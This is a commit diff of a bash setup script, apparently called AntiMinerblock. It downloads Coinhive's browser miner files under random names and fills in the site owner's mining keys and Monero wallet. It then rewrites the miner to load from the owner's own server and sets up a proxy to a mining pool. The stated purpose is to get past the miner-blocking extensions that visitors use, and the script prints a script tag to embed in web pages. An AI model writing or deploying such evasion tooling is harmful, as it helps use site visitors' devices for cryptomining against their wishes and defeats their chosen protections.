1
1
echo Generating random file name...
2
2
minerblock=$( cat /dev/urandom | tr -dc ' a-zA-Z0-9' | fold -w 8 | head -n 1) " .js"
3
+ coinhive=$( cat /dev/urandom | tr -dc ' a-zA-Z0-9' | fold -w 8 | head -n 1) " .js"
4
+ cryptonight=$( cat /dev/urandom | tr -dc ' a-zA-Z0-9' | fold -w 8 | head -n 1) " .wasm"
3
5
echo Downloading script...
4
- wget -O $minerblock https://cdn.rawgit.com/SkyrisBactera/AntiMinerblock/master/minerblock.js > /dev/null 2> /dev/null
6
+ wget -O $minerblock https://rawgit.com/SkyrisBactera/AntiMinerblock/master/minerblock.js > /dev/null 2> /dev/null
7
+ wget -O $coinhive https://coinhive.com/lib/coinhive.min.js > /dev/null 2> /dev/null
8
+ wget -O $cryptonight https://coinhive.com/lib/cryptonight.wasm > /dev/null 2> /dev/null
5
9
echo What is your Coinhive site key?
6
10
read cHiveKey
7
11
echo What is your Crypto-loot site key?
8
12
read cLootKey
9
13
echo What is your CLOUDCOINS site key?
10
14
read cCoinsKey
11
- echo Substituting the keys into $minerblock ...
15
+ echo Substituting the keys and filenames into $minerblock ...
12
16
sed -i ' s/cHive/' $cHiveKey ' /g' $minerblock
13
17
sed -i ' s/cLoot/' $cLootKey ' /g' $minerblock
14
18
sed -i ' s/cCoins/' $cCoinsKey ' /g' $minerblock
19
+ sed -i ' s/locCoin/' $coinhive ' /g' $minerblock
15
20
echo " Do you want to enable proxy functionality? This is very recommended, however, your computer/server would have to host it (y/n)"
16
21
read proxyYes
17
22
declare -l proxyYes
18
23
proxyYes=$proxyYes
24
+ clear
19
25
if [ " $proxyYes " == " y" ]; then
20
26
echo Checking dependencies...
21
27
if hash npm 2> /dev/null; then
28
+ echo Enter your password in order to install the proxy software
22
29
sudo npm install -g coin-hive-stratum
23
30
else
24
31
echo Installing node...
@@ -27,7 +34,9 @@ if [ "$proxyYes" == "y" ]; then
27
34
sudo apt-get install -y nodejs
28
35
sudo npm install -g coin-hive-stratum
29
36
fi
30
- echo Do you have a domain name?
37
+ echo " What is your Monero wallet address?"
38
+ read walletId
39
+ echo " Do you have a domain name? (y/n)"
31
40
read domainYes
32
41
declare -l domainYes
33
42
domainYes=$domainYes
@@ -37,10 +46,22 @@ if [ "$proxyYes" == "y" ]; then
37
46
else
38
47
domainName=$( dig +short myip.opendns.com @resolver1.opendns.com)
39
48
fi
49
+ echo " What is the URL for this directory? Example: https://fish.com/public"
50
+ read directory
40
51
echo Substituting the proxy into $minerblock ...
41
- port=$( shuf -i 2000-65000 -n 1)
42
- sed -i ' s/\/\/strSub/' ' CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws:\/\/' $domainName ' :' $port ' "]];' ' /g' 4fkHQwBA.js
52
+ # port=$(shuf -i 2000-65000 -n 1)
53
+ port=80
54
+ # This was such a pain in the a**
55
+ sed -i ' s~//strSub~' ' CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://' $domainName ' :' $port ' "]];' ' ~g' $minerblock
56
+ sed -i ' s~"https://coinhive.com/lib/"~new URL("' $directory ' ").href~g' $coinhive
57
+ sed -i ' s~\\"https:\\\/\\\/coinhive.com\\\/lib\\\/\\"~new URL(\\"' $directory ' \\").href~g' $coinhive
58
+ sed -i ' s~https~http~g' $coinhive
59
+ sed -i ' s/cryptonight.wasm/' $cryptonight ' /g' $coinhive
60
+ echo Generating proxy.sh...
61
+ echo " coin-hive-stratum " $port " --host=pool.supportxmr.com --port=3333 --login=" $walletId > proxy.sh
62
+ clear
43
63
echo You need to run proxy.sh along with whatever server software you are using as long as you want Coinhive to work
64
+ echo Make sure to open port $port , otherwise your users may be able to bypass this
44
65
fi
45
66
echo You need to put the following into your HTML files that you want to have protection against Minerblockers:
46
67
echo ' <script src="' $minerblock ' "></script>'
0 commit comments